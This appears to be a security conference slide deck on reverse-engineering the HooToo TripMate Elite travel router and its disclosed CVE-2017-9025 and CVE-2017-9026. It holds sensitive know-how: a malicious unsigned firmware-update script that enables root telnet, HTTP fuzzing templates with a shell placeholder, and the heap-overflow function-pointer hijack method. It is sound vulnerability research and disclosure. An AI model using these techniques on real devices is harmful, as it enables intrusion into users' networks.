Hacking travel routers like it’s 1999
“Synack leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints”
$ cat agenda | wc -l
4

Why do this?
Breaking in.
Show me the bugs!
The End.

We all just hack for fun… right?
$ man y
No manual entry for y

I travel a lot  I work in cafes  I do security things

Cuz, hackers gonna hack...
The market delivers...

TP-Link AC750 Wireless Wi-Fi Travel Router
HooToo TripMate Elite Travel Wireless Router
⭐⭐⭐⭐⭐ 863
RAVPower FileHub Plus

And about 377 more results on Amazon.
Bridging networks/MAC spoofing

Layer of network protection

Connect one device, connect them all

Convenient small form factor

Battery pack included
$ cat agenda | wc -l
3

Why do this?
The unboxing
We want bugs!
The End

Peeking a few extra bytes...
### nmap -p0-65535 127.0.0.1

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
<th>HTTP/1.1 200 OK</th>
</tr>
</thead>
<tbody>
<tr>
<td>0/tcp</td>
<td>filtered</td>
<td>unknown</td>
<td>Content-Type: text/html</td>
</tr>
<tr>
<td>80/tcp</td>
<td>open</td>
<td>http</td>
<td>Accept-Ranges: bytes</td>
</tr>
<tr>
<td>81/tcp</td>
<td>open</td>
<td>hosts2-ns</td>
<td>ETag: &quot;1800253254&quot;</td>
</tr>
<tr>
<td>5880/tcp</td>
<td>open</td>
<td>unknown</td>
<td>Last-Modified: Mon, 29 Feb 2016 07:23:52 GMT</td>
</tr>
<tr>
<td>8201/tcp</td>
<td>open</td>
<td>trivnet2</td>
<td>Content-Length: 3940</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Date: Wed, 28 Jun 2017 12:13:26 GMT</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Server: lighttpd/1.4.28</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>HTTP/1.1 200 OK</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Server: vsftpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Cache-Control: no-cache</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Pragma: no-cache</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Expires: 0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Content-length: 123</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Content-type: text/xml; charset=UTF-8</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Set-cookie: SESSID=Xqo72s...</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Date: Wed, 28 Jun 2017 12:13:26 GMT</td>
</tr>
<tr>
<td>Exploits</td>
<td>IP Address</td>
<td>Domain Name</td>
<td>Company</td>
</tr>
<tr>
<td>----------</td>
<td>---------------------</td>
<td>------------------------------------</td>
<td>---------------------</td>
</tr>
<tr>
<td>DATA SAVER</td>
<td>27.XX.XX.222</td>
<td>222.XX.XX.27.ap.yournet.ne.jp</td>
<td>FreeBit Co.,Ltd.</td>
</tr>
<tr>
<td>DATA SAVER</td>
<td>27.XX.XX.244</td>
<td>244.XX.XX.27.ap.yournet.ne.jp</td>
<td>FreeBit Co.,Ltd.</td>
</tr>
<tr>
<td>IOVST</td>
<td>111.XX.XX.128</td>
<td></td>
<td>China Telecom Jiangxi</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 8338
Content-type: text/html
Set-cookie: SESSID=eXXzgZIWg4jnnXGidAVQpRB6joaM7D7lr3IGWtz7oRuJE;
Date: Sat, 24 Jun 2017 19:38:27 GMT
wget https://...fw-TM06-Support Special Character-2.000.030.rar

unrar x ..//HT-TM06-Support Special Character-2.000.030.rar

tail -n +263 $0 | gunzip > upfs

mount upfs upfs.mount

mount ./upfs_mount/firmware/rootfs upfs_rootfs/

ls ./upfs_rootfs/usr/sbin/ioos
MIPS32LE ELF (the webserver)

Little Endian Squash Filesystem

EXT2 Filesystem

Shellscript

RAR Archive

The WWW’s: HooToo official page
two days* with john the ripper

All this root, and no where to use it

* on a reasonably priced EC2 instance
If I could just...

TripMate Original, Titan and Nano, all have telnet enabled 😎🐱
chorankates

But I have the Elite 🕵️

What are the chances that the firmware on all these devices is basically the same??

$ find ./ -iname '*telnet*' ./etc/init.d/opentelnet.sh
Look what I found! 😞
The firmware update mechanism does not require a signed package.

Expanded, the update package is just a shellscript:

```
#!/bin/sh

/bin/sh /etc/init.d/opentelnet.sh

exit 1
```
Custom CGI server: vshttpd
  ○ https://sourceforge.net/projects/vshttpd/ maybe? It’s an empty project

Handles all *.csp REST Calls
  ○ http://192.168.1.1/protocol.csp?
    fname=system&opt=auto_update&function=get

Checks Firmware update

```
$ file ./usr/sbin/ioos
./usr/sbin/ioos: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV),
dynamically linked (uses shared libs), stripped

.addiu $a1, (aSed13dScksumCu - 0x530000) # "sed '1,3d' %s|cksum|cut -d ' ' -f1"
.lw   $a2, 0x3A8+arg_0($sp)
.la   $t9, sprintf
.nop
.jalr $t9 ; sprintf
```
The firmware update mechanism does not require a signed package.

Expanded, the update package is just a shellscript:

```bash
#!/bin/sh
# constant
CRCSUM=2787560248
VENDOR=HooToo
PRODUCTLINE=WiFiDGRJ
SKIP=263
TARGET_OS="linux"
TARGET_ARCH="arm"
DEVICE_TYPE=HT-TM06
VERSION=2000030
CPU=7620

/bin/sh /etc/init.d/opentelnet.sh

exit 1
```
$ telnet 192.168.1.1
Connected to 192.168.1.1.
Escape character is '^]'.

HT-TM06 login: root
Password:
login: can't chdir to home directory '/root'
# ls
bin  data  etc  home  media  opt  sbin  tmp  var
boot  dev  etc_ro  lib  mnt  proc  sys  usr  www

# /data/UsbDisk1/Volume1/gdbserver.mipsle --attach *:9999 7344
Attached; pid = 7344
Listening on port 9999

More details: http://debugtrap.com/2017/03/19/travel-safe/
```c
typedef void (*fcn_ptr)(struct state* self, ...);

struct state {
    char[20] name;
    int state;
    fcn_ptr func1;
    fcn_ptr func2;
};

struct state* s = malloc(sizeof(struct state));
s->func1 = func1_implementation;
s->func2 = func2_implementation;
s->func1(s, 2, 3);
```
Allocated structure

Get function pointer

```
sw  $v0, 0x6C5C($v1)
lw  $v1, 0x30+var_10($sp)
lui $v0, 1
addu $v1, $v0
la  $v0, loc_520000
nop
addiu $v0, (sub_51B810 - 0x520000)
nop
sw  $v0, 0x6C60($v1)
lw  $v1, 0x30+var_10($sp)
lui $v0, 1
addu $v1, $v0
la  $v0, loc_520000
nop
```

Store the function pointer

Repeat for another function
Oops... error leak!

addiu  $a1, (aSSDStNullSec0 - 0x550000)  
      # "(%s,%s,%d)st = NULL, sec <= 0\n\n"

li    $a3, 0x550000

nop

addiu $a3, (aCgi_new - 0x550000)  # "cgi_new"

la    $t9, fprintf

nop

jalr $t9 ; fprintf

More details: http://debugtrap.com/2017/04/10/embedded-webserver/
Why do this?
The unboxing
We want bugs!
The End

Cybergold!
# sysctl -A | grep kernel.randomize_va_space 2>/dev/null
kernel.randomize_va_space = 1

- **Present**
  - Partial Virtual Space randomization
  - Binary and heap are fixed
  - Libraries and stack are randomized

- **Not present**
  - Stack canaries
  - Full ASLR
  - Heap protections
  - Heap/Stack NX
  - Control flow integrity
```python
>>> for i in range(1, 20000, 4):
    testGet(fname='A' * i)

buff = ["GET /protocol.csp?fname=[[fuzz]]&opt=userlock&" +
        "username=guest&function=get HTTP/1.1",
        "Host: 192.168.1.1",
        "Connection: keep-alive",
        "Cache-Control: no-cache",
        "If-Modified-Since: 0",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel .."
        "Accept: */*",
        "Referer: http://192.168.1.1/",
        "Accept-Encoding: gzip, deflate, sdch",
        "Accept-Language: en-US,en;q=0.8,ru;q=0.6",
        "Cookie: SESSID=eXXzgZIwg4jnnXGidAVQpRB6joaM7D7lr3IGWtz7oRuJE;",
```

More details: [debugtrap.com/2017/05/09/tm06-vulnerabilities/](debugtrap.com/2017/05/09/tm06-vulnerabilities/)
xml_add_elem:

```
.text:00512684  addiu  $v0, $sp, 0x238+var_110  # Value of fname
.text:00512688  move  $a0, $v0
.text:0051268C  li  $a1, 0x540000
.text:00512690  nop
.text:00512694  addiu  $a1, (aS_19 - 0x540000)  # "</%s>"
.text:00512698  lw  $a2, 0x238+element_name($sp)
.text:0051269C  la  $t9, sprintf
.text:005126A0  nop
.text:005126A4  jalr  $t9 ; sprintf
.text:005126A8  nop
```

256 bytes stack buffer

😊
Program received signal SIGSEGV, Segmentation fault.

0x3e5126d0 in ?? ()
$ ls exploit
ls: exploit: No such file or directory

<table>
<thead>
<tr>
<th>Return to</th>
<th>Static</th>
<th>Null In Address</th>
<th>Use Format Values</th>
<th>Executable</th>
</tr>
</thead>
<tbody>
<tr>
<td>Main binary</td>
<td>🟢</td>
<td>🟢</td>
<td>⬚</td>
<td>🟢</td>
</tr>
<tr>
<td>Heap</td>
<td>🟢</td>
<td>🟢</td>
<td>⬚</td>
<td>🟢</td>
</tr>
<tr>
<td>Library</td>
<td>⬚</td>
<td>⬚</td>
<td>⬚</td>
<td>🟢</td>
</tr>
<tr>
<td>Stack</td>
<td>⬚</td>
<td>⬚</td>
<td>⬚</td>
<td>🟢</td>
</tr>
</tbody>
</table>

Restrictions with `sprintf("<%s>)`:
- No nulls
- Output buffer follows "<%s>" format
>>> for i in range(1, 20000, 4):
    testPost(cookie= "A" * i)

buff = ["POST /protocol.csp?fname=security&opt=userlock&"
         "username=guest&function=get HTTP/1.1",
         "Host: 192.168.1.1",
         "Connection: keep-alive",
         "Cache-Control: no-cache",
         "If-Modified-Since: 0",
         "User-Agent: Mozilla/5.0 (Macintosh; Intel...",
         "Accept: */*",
         "Referer: http://192.168.1.1/",
         "Accept-Encoding: gzip, deflate, sdch",
         "Accept-Language: en-US,ru;q=0.8,ru;q=0.6",
         "Content-length: [[shellen]]",
         "Cookie: [[cookies]]",
         "",
         "",
         "[[shell]]]"

More details: debugtrap.com/2017/05/09/tm06-vulnerabilities/
lw  $v0, 0x40+var_1C($sp)
nop
lw  $t9, 0x10($v0)
lw  $a0, 0x40+var_1C($sp)
jalr $t9   # cgi_tab_alloc
sw  $v0, 0x40+cgi_tab($sp)

addiu $a1, (aCookie - 0x550000)  # "Cookie"
jalr $t9   # ht_header_find

lw  $gp, 0x40+var_28($sp)
sw  $v0, 0x40+cookie_value($sp)

lw  $v1, 0x40+cgi_tab($sp)
li  $v0, 0x16858
addu $v0, $v1, $v0   # cgi_tab+0x16858
move $a0, $v0   # dest
lw  $a1, 0x40+cookie_value($sp)   # src
la  $t9, strcpy
nop
jalr $t9 ; strcpy

10  cgi_tab =
   malloc(sizeof(cgi_tab));
   // sizeof(inner buffer) = 1024

20  cookie_value =
   ht_header->
   ht_header_find("cookie");

30  src = cookie_value;

40  dst = cgi_tab+0x16858

50  strcpy(dst, src);
   // so we send 1036 bytes!
1. Cookie value stored on the heap using strcpy call
2. Using knowledge from reverse engineering
   a. there a function pointer on the heap, following the buffer
3. Changed the function pointer value to point into the HTTP body for arbitrary code execution
4. Pointer overwrite and gaining of execution are a few functions removed from each other

$ sudo make sandwich
Child terminated with signal = 0xb (SIGSEGV)
GDB server exiting
Child terminated with signal = 0xb (SIGSEGV)
GDB server exiting
[gdb] display /5i $pc
1: x/5i $pc
   0x413bb0:   jalr  t9
   0x413bb4:   nop
   0x413bb8:   lw   gp,16(sp)
   0x413bbc:   lw   v1,28(sp)
   0x413bbc:   lui   v0,0x1
(gdb) i r
    zero  at  v0  v1  a0  a1  a2  a3
R0 00000000 00000000 005a8ad0 00596ad0 00596ad0 00000001 00000001 00000001
R8 00000000 00000000 00000000 00000000 00000000 00000100 00000000 00000000
R16 00594688 00407ef0 00000000 00000000 00000000 00000000 00000000 00000000
R24 00000007 0059725c 2bc2e3e4 00000000 00596c90 00407fe0 00480d0 0041c000

status  lo  hi  badvaddr  cause  pc
0100ff13 00000000 00000000 00000000 00000000

fcsr  fir  hi1  lo1  h2  lo2  h3  lo3
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

(dgdb)
Lots of top site still don’t use SSL: [Google transparency report](https://www.google.com/transparencyreport/security/sslcertificates/)
$ ps -ef | grep attack
  503 91038 73200  0  5:47PM ttys001  0:00.00 ./my_attack

Via the browser XSRF

From within the enclave

From the external WiFi

Trojan.AndroidOS.Switcher

From within the enclave
CVE-2017-9026:
Specific: `snprintf($sp+0x128, 256, "<%s>", fname);
General:  Stack canaries

CVE-2017-9025:
Specific: `strncpy(dst, src, 1024);
General:  Crypted heap function pointers
Why do this?
The unboxing
We want bugs!
The End

That was fun...
# cat /dev/attack_cases

- Gain an attack proxy for *attribution obfuscation*
- Steal user information such as *authentication tokens*
- Manipulate user activity... *iframes!*
- *Foothold* into enterprise or private networks
“We have transmit your email and issue to our product team. But we feel sorry that we would inform you until 2/8 because product team has day off due for Spring Festival.” - support@hootoo.com
$ echo "learned $?"
learned 0

"Don't roll your own crypto"

=> "Don't roll your own CGI webserver"

Heart: Vendors do respond!

Book: Install OpenWRT on the device

Cat: Lots of interesting attack vectors

Boy: People still use strcpy and sprintf - like they did in 1999!
Questions and Answers

...Catch me in the halls or online!

Email: mikhail@synack.com
blog: debugtrap.com
Twitter: @hexlogic

Mikhail Sosonkin

Аčіу! Спасибо! Thank you!